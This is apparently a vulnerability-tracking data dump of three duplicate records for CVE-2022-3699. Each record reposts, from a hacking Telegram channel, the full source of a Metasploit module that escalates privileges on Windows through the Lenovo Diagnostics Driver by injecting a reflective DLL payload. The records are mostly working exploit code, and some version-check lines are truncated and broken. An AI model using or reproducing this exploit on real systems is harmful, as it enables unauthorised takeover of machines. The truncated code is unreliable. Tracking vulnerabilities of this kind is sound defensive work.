{"uuid": "8737c6de-f803-4187-a4e4-7f9639e29c37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "seen", "source": "https://t.me/hacking_Attack/88662", "content": "Exploit Collector\nLenovo Diagnostics Driver Memory Access\n\nhttps://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.\n\nSHA-256 | 4d81e8f2ae72805082f511a1afa0427bff321c86d10fa56019672dac926e51f8Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = GoodRanking\n\ninclude Msf::Exploit::Local::WindowsKernel\ninclude Msf::Post::File\ninclude Msf::Post::Windows::Priv\ninclude Msf::Post::Windows::Process\ninclude Msf::Post::Windows::ReflectiveDLLInjection\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',\n'Description' => %q{\nIncorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to\nissue device IOCTLs to perform arbitrary physical/virtual memory read/write.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'alfarom256',    # Original PoC\n'jheysel-r7'     # msf module\n],\n'Arch' => [ ARCH_X64 ],\n'Platform' => 'win',\n'SessionTypes' => [ 'meterpreter' ],\n'DefaultOptions' => {\n'EXITFUNC' => 'thread'\n},\n'Targets' => [\n[ 'Windows x64', { 'Arch' => ARCH_X64 } ]\n],\n'References' => [\n[ 'CVE', '2022-3699' ],\n[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]\n],\n'DisclosureDate' => '2022-11-09',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => []\n},\n'Compat' => {\n'Meterpreter' => {\n'Commands' => %w[\nstdapi_railgun_api\n]\n}\n}\n}\n)\n)\nend\n\ndef check\nunless session.platform == 'windows'\n# Non-Windows systems are definitely not affected.\nreturn Exploit::CheckCode::Safe\nend\n\nhandle = open_device('\\\\\\\\.\\\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')\nif handle.nil?\nreturn Exploit::CheckCode::Safe\nend\n\nsession.railgun.kernel32.CloseHandle(handle)\nCheckCode::Appears\nend\n\ndef target_compatible?\nbuild_num = sysinfo['OS'].match(/Build (\\d+)/)[1].to_i\nvprint_status(\"Windows Build Number = #{build_num}\")\n\nreturn true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <=\nreturn true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000\nreturn true if sysinfo['OS'] =~ /Windows 2016\\+/ && build_num >= 17763 && build_num <=\n\nfalse\nend\n\ndef exploit\nif is_system?\nfail_with(Failure::None, 'Session is already elevated')\nend\n\n# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL\nunless target_compatible?\nfail_with(Failure::NoTarget, 'The exploit does not support this target')\nend\n\nif sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\nfail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\nelsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\nfail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\nelsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\nfail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\nend\n\nencoded_payload = payload.encoded\nexecute_dll(\n::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),\n[encoded_payload.length].pack('I<')\n)\n\nprint_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\nend\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:01:25.827342Z"}, {"uuid": "de6276a1-3ec3-4dd5-91a3-4d23268a457a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/88662", "content": "Exploit Collector\nLenovo Diagnostics Driver Memory Access\n\nhttps://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.\n\nSHA-256 | 4d81e8f2ae72805082f511a1afa0427bff321c86d10fa56019672dac926e51f8Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = GoodRanking\n\ninclude Msf::Exploit::Local::WindowsKernel\ninclude Msf::Post::File\ninclude Msf::Post::Windows::Priv\ninclude Msf::Post::Windows::Process\ninclude Msf::Post::Windows::ReflectiveDLLInjection\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',\n'Description' => %q{\nIncorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to\nissue device IOCTLs to perform arbitrary physical/virtual memory read/write.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'alfarom256',    # Original PoC\n'jheysel-r7'     # msf module\n],\n'Arch' => [ ARCH_X64 ],\n'Platform' => 'win',\n'SessionTypes' => [ 'meterpreter' ],\n'DefaultOptions' => {\n'EXITFUNC' => 'thread'\n},\n'Targets' => [\n[ 'Windows x64', { 'Arch' => ARCH_X64 } ]\n],\n'References' => [\n[ 'CVE', '2022-3699' ],\n[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]\n],\n'DisclosureDate' => '2022-11-09',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => []\n},\n'Compat' => {\n'Meterpreter' => {\n'Commands' => %w[\nstdapi_railgun_api\n]\n}\n}\n}\n)\n)\nend\n\ndef check\nunless session.platform == 'windows'\n# Non-Windows systems are definitely not affected.\nreturn Exploit::CheckCode::Safe\nend\n\nhandle = open_device('\\\\\\\\.\\\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')\nif handle.nil?\nreturn Exploit::CheckCode::Safe\nend\n\nsession.railgun.kernel32.CloseHandle(handle)\nCheckCode::Appears\nend\n\ndef target_compatible?\nbuild_num = sysinfo['OS'].match(/Build (\\d+)/)[1].to_i\nvprint_status(\"Windows Build Number = #{build_num}\")\n\nreturn true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <=\nreturn true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000\nreturn true if sysinfo['OS'] =~ /Windows 2016\\+/ && build_num >= 17763 && build_num <=\n\nfalse\nend\n\ndef exploit\nif is_system?\nfail_with(Failure::None, 'Session is already elevated')\nend\n\n# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL\nunless target_compatible?\nfail_with(Failure::NoTarget, 'The exploit does not support this target')\nend\n\nif sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\nfail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\nelsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\nfail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\nelsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\nfail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\nend\n\nencoded_payload = payload.encoded\nexecute_dll(\n::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),\n[encoded_payload.length].pack('I<')\n)\n\nprint_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\nend\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-04T23:00:04.859940Z"}, {"uuid": "2386fc27-37a4-4b20-9284-1690ca9aad60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3699", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/88662", "content": "Exploit Collector\nLenovo Diagnostics Driver Memory Access\n\nhttps://3.bp.blogspot.com/-_lYy5AwzHPI/WWlvAVk_lrI/AAAAAAAAIKU/HsTDdKCabVkkHkFsXQw08U72hOmjap5rACLcBGAs/s1600/h121.png This Metasploit module demonstrates how an incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to issue device IOCTLs to perform arbitrary physical/virtual memory reads and writes.\n\nSHA-256 | 4d81e8f2ae72805082f511a1afa0427bff321c86d10fa56019672dac926e51f8Download ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\nRank = GoodRanking\n\ninclude Msf::Exploit::Local::WindowsKernel\ninclude Msf::Post::File\ninclude Msf::Post::Windows::Priv\ninclude Msf::Post::Windows::Process\ninclude Msf::Post::Windows::ReflectiveDLLInjection\nprepend Msf::Exploit::Remote::AutoCheck\n\ndef initialize(info = {})\nsuper(\nupdate_info(\ninfo,\n{\n'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',\n'Description' => %q{\nIncorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to\nissue device IOCTLs to perform arbitrary physical/virtual memory read/write.\n},\n'License' => MSF_LICENSE,\n'Author' => [\n'alfarom256',    # Original PoC\n'jheysel-r7'     # msf module\n],\n'Arch' => [ ARCH_X64 ],\n'Platform' => 'win',\n'SessionTypes' => [ 'meterpreter' ],\n'DefaultOptions' => {\n'EXITFUNC' => 'thread'\n},\n'Targets' => [\n[ 'Windows x64', { 'Arch' => ARCH_X64 } ]\n],\n'References' => [\n[ 'CVE', '2022-3699' ],\n[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]\n],\n'DisclosureDate' => '2022-11-09',\n'DefaultTarget' => 0,\n'Notes' => {\n'Stability' => [CRASH_SAFE],\n'Reliability' => [REPEATABLE_SESSION],\n'SideEffects' => []\n},\n'Compat' => {\n'Meterpreter' => {\n'Commands' => %w[\nstdapi_railgun_api\n]\n}\n}\n}\n)\n)\nend\n\ndef check\nunless session.platform == 'windows'\n# Non-Windows systems are definitely not affected.\nreturn Exploit::CheckCode::Safe\nend\n\nhandle = open_device('\\\\\\\\.\\\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')\nif handle.nil?\nreturn Exploit::CheckCode::Safe\nend\n\nsession.railgun.kernel32.CloseHandle(handle)\nCheckCode::Appears\nend\n\ndef target_compatible?\nbuild_num = sysinfo['OS'].match(/Build (\\d+)/)[1].to_i\nvprint_status(\"Windows Build Number = #{build_num}\")\n\nreturn true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <=\nreturn true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000\nreturn true if sysinfo['OS'] =~ /Windows 2016\\+/ && build_num >= 17763 && build_num <=\n\nfalse\nend\n\ndef exploit\nif is_system?\nfail_with(Failure::None, 'Session is already elevated')\nend\n\n# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL\nunless target_compatible?\nfail_with(Failure::NoTarget, 'The exploit does not support this target')\nend\n\nif sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\nfail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\nelsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\nfail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\nelsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\nfail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\nend\n\nencoded_payload = payload.encoded\nexecute_dll(\n::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),\n[encoded_payload.length].pack('I<')\n)\n\nprint_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\nend\nend Source:packetstormsecurity.com", "creation_timestamp": "2026-09-05T01:00:14.640274Z"}]}